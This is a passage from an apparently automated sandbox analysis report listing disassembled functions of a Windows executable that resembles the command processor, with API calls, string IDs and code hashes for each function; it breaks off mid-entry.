                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$File_get_osfhandle$PointerReadlongjmp
                                                                                      • String ID:
                                                                                      • API String ID: 1532185241-0
                                                                                      • Opcode ID: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
                                                                                      • Instruction ID: 65aa880eb545e96c0393c2fd6ac6e5f3be252482e1e72884c84cdf12c1356d3c
                                                                                      • Opcode Fuzzy Hash: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
                                                                                      • Instruction Fuzzy Hash: 8641B333A0479187F714AB21E44597DFAA1FB88B80FA59535EA0A47795CF3CE845CB10
                                                                                      Function 00007FF78CF44FE8 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorFileLast$DeleteRead_get_osfhandle
                                                                                      • String ID:
                                                                                      • API String ID: 3588551418-0
                                                                                      • Opcode ID: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
                                                                                      • Instruction ID: 38b6ed7d9e0ffceaac52c1cde1e60e96944ccbb02d76ee5e5b4dff45a3f5a552
                                                                                      • Opcode Fuzzy Hash: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
                                                                                      • Instruction Fuzzy Hash: EC417E37A086428BF714BB51E441A7DF661FF85B81FA49139E60A4B791CE2CE840C760
                                                                                      Function 00007FF78CF6E558 Relevance: 7.6, APIs: 5, Instructions: 100COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorModememset$FullNamePath_wcsicmp
                                                                                      • String ID:
                                                                                      • API String ID: 2123716050-0
                                                                                      • Opcode ID: 33d1f1addd1234cebd96803971f963ad7e2cc1408ae37093ec207d02c7820e71
                                                                                      • Instruction ID: cf252867b7a1cd65ec3bfcf27f14c67862b5fef8e6982ae9e3bf80295f1b1c9f
                                                                                      • Opcode Fuzzy Hash: 33d1f1addd1234cebd96803971f963ad7e2cc1408ae37093ec207d02c7820e71
                                                                                      • Instruction Fuzzy Hash: D7419C33705AC28AFB31AF25D8503E9B7A4FB49B88F944134DB4D4AA98DE3CD648C710
                                                                                      Function 00007FF78CF465F8 Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$Window_get_osfhandle$InitializeModeUninitializememset
                                                                                      • String ID:
                                                                                      • API String ID: 3114114779-0
                                                                                      • Opcode ID: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
                                                                                      • Instruction ID: da66d69d6106253e26477c85dff38eeeead039aba0bc7587d2b39a2a5b7c1801
                                                                                      • Opcode Fuzzy Hash: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
                                                                                      • Instruction Fuzzy Hash: 51411837A09A42DAF700EF65E4406ACB7A5FB48748FA44135EA0D97B54DF38D41AC760
                                                                                      Function 00007FF78CF6A73C Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A77A
                                                                                      • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A7AF
                                                                                      • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A80E
                                                                                      • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A839
                                                                                      • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A850
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: QueryValue$CloseErrorLastOpen
                                                                                      • String ID:
                                                                                      • API String ID: 2240656346-0
                                                                                      • Opcode ID: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
                                                                                      • Instruction ID: 40a8c303a2d9f26f6d6f2a5930da937778999a011458a8f6fe51489569c7b60e
                                                                                      • Opcode Fuzzy Hash: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
                                                                                      • Instruction Fuzzy Hash: 9B317033A18A8296F750AF25E44097AF7A5FB88790FA48134EA4E42764DF3CD855CB20
                                                                                      Function 00007FF78CF6D0C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF501B8: _get_osfhandle.MSVCRT ref: 00007FF78CF501C4
                                                                                        • Part of subcall function 00007FF78CF501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF501D6
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF78CF6D0F9
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF78CF6D10F
                                                                                      • ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF78CF6D166
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF78CF6D17A
                                                                                      • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF78CF6D18C
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
                                                                                      • String ID:
                                                                                      • API String ID: 3008996577-0
                                                                                      • Opcode ID: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
                                                                                      • Instruction ID: 69e8222e966b49e35ffa3338da0f25c1e94b1ea7b2155046274b8ce73322a627
                                                                                      • Opcode Fuzzy Hash: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
                                                                                      • Instruction Fuzzy Hash: 56215A23B14A81CAF700AB71E8014BDB7B0FB4DB49BA49125EE1D93B98DF38D144CB24
                                                                                      Function 00007FF78CF65770 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 169COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateSemaphore
                                                                                      • String ID: _p0$wil
                                                                                      • API String ID: 1078844751-1814513734
                                                                                      • Opcode ID: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
                                                                                      • Instruction ID: 739c10945cc4ffd09663b170486ec80e8863907e51f1e4b961324d6f9a55de37
                                                                                      • Opcode Fuzzy Hash: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
                                                                                      • Instruction Fuzzy Hash: A751B263B1978686FE21AF649454AB9F2A0BF84B90FF44535EA0E17B85DE3CE405C320
                                                                                      Function 00007FF78CF6B89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RtlCreateUnicodeStringFromAsciiz.NTDLL ref: 00007FF78CF6B934
                                                                                      • GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF78CF55085), ref: 00007FF78CF6B9A5
                                                                                      • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF78CF55085), ref: 00007FF78CF6B9F7
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Global$AllocAsciizCreateFreeFromStringUnicode
                                                                                      • String ID: %WINDOWS_COPYRIGHT%
                                                                                      • API String ID: 1103618819-1745581171
                                                                                      • Opcode ID: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
                                                                                      • Instruction ID: 02940c9c76ae961b69da2db401d9d6fde9c6d1565ee48c8960d08f793f45d343
                                                                                      • Opcode Fuzzy Hash: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
                                                                                      • Instruction Fuzzy Hash: 4741C063A08B8282FB50AF119411679B3A0FF49B90FE59231EE8E03395EF3CE585D710
                                                                                      Function 00007FF78CF70774 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$_wcslwr
                                                                                      • String ID: [%s]
                                                                                      • API String ID: 886762496-302437576
                                                                                      • Opcode ID: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
                                                                                      • Instruction ID: 1fd97a31d29b6e6d5ad648a1fc3ad3f2c2ce63d79c37e87a8f9aa55297cc4309
                                                                                      • Opcode Fuzzy Hash: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
                                                                                      • Instruction Fuzzy Hash: CC317932705BC285EB21EF21E8517E9A7A0FB88B88F944135DA8D4BB55DF3CD245C710
                                                                                      Function 00007FF78CF532E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF533A8: iswspace.MSVCRT(?,?,00000000,00007FF78CF6D6EE,?,?,?,00007FF78CF60632), ref: 00007FF78CF533C0
                                                                                      • iswspace.MSVCRT(?,?,?,00007FF78CF532A4), ref: 00007FF78CF5331C
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswspace
                                                                                      • String ID: off
                                                                                      • API String ID: 2389812497-733764931
                                                                                      • Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
                                                                                      • Instruction ID: 6480b70c170aa15dbd9c1b0a99839eddb1f88b844cf9df91cefdedba74a17849
                                                                                      • Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
                                                                                      • Instruction Fuzzy Hash: 63218323E0C65282FA60BB199415279F691FF45B90FF98034DB4EC7681DF2CE648C721
                                                                                      Function 00007FF78CF69308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heapiswspace$AllocProcess
                                                                                      • String ID: %s=%s$DPATH$PATH
                                                                                      • API String ID: 3731854180-3148396303
                                                                                      • Opcode ID: fb3125d80182464f50c82bc0c4d5350ea8168baa4617960a2893f38ef28f8be7
                                                                                      • Instruction ID: 036b41a41b42e3443563686428b115549a224a398465af9920b7347f3e89536e
                                                                                      • Opcode Fuzzy Hash: fb3125d80182464f50c82bc0c4d5350ea8168baa4617960a2893f38ef28f8be7
                                                                                      • Instruction Fuzzy Hash: 8021CF23B0869280FA90AB55E442679B7A4FF80B80FF84135EE0E87394DE3CE641C760
                                                                                      Function 00007FF78CF58198 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcscmp
                                                                                      • String ID: *.*$????????.???
                                                                                      • API String ID: 3392835482-3870530610
                                                                                      • Opcode ID: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
                                                                                      • Instruction ID: 08cb9fc47f969d6044bea1545f6595bbf4fa10a6211e405cc0db7414233c3f58
                                                                                      • Opcode Fuzzy Hash: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
                                                                                      • Instruction Fuzzy Hash: 1B11E526B54A9281F764AF26B440539BBA0FB44B80FA95030DF8E87F86DE3DE551C720
                                                                                      Function 00007FF78CF69114 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: fprintf
                                                                                      • String ID: CMD Internal Error %s$%s$Null environment
                                                                                      • API String ID: 383729395-2781220306
                                                                                      • Opcode ID: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
                                                                                      • Instruction ID: 6441833a1330b58a9de93eec8add42d3d60fe978f58c173956174235c6c48d1a
                                                                                      • Opcode Fuzzy Hash: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
                                                                                      • Instruction Fuzzy Hash: FF11A32390868291FA95AB14E9044B9B361FB44BF0FF65332D67D432E5EF2CE645C350
                                                                                      Function 00007FF78CF509F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswspacewcschr
                                                                                      • String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$=,;
                                                                                      • API String ID: 287713880-1183017076
                                                                                      • Opcode ID: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
                                                                                      • Instruction ID: 530aa64c05a5fc1178252db3ecff26d2a1c282d377447f2ccdcb1684caac6776
                                                                                      • Opcode Fuzzy Hash: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
                                                                                      • Instruction Fuzzy Hash: 20F04427A19692D1FA689B01F401179E590FF45F40FE99132EB5D82654DF2CD544C620
                                                                                      Function 00007FF78CF504F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressHandleModuleProc
                                                                                      • String ID: KERNEL32.DLL$SetThreadUILanguage
                                                                                      • API String ID: 1646373207-2530943252
                                                                                      • Opcode ID: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
